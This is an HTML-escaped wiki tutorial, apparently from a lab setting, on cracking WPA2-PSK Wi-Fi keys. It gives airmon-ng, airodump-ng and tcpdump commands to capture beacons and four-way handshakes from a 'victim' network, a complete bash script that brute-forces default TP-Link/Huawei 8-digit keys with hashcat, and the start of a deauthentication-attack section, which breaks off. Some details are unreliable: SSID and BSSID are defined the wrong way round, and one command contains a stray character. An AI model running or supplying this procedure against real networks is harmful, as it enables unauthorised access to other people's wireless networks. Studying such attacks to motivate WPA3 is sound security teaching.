* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you&#039;re connected via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
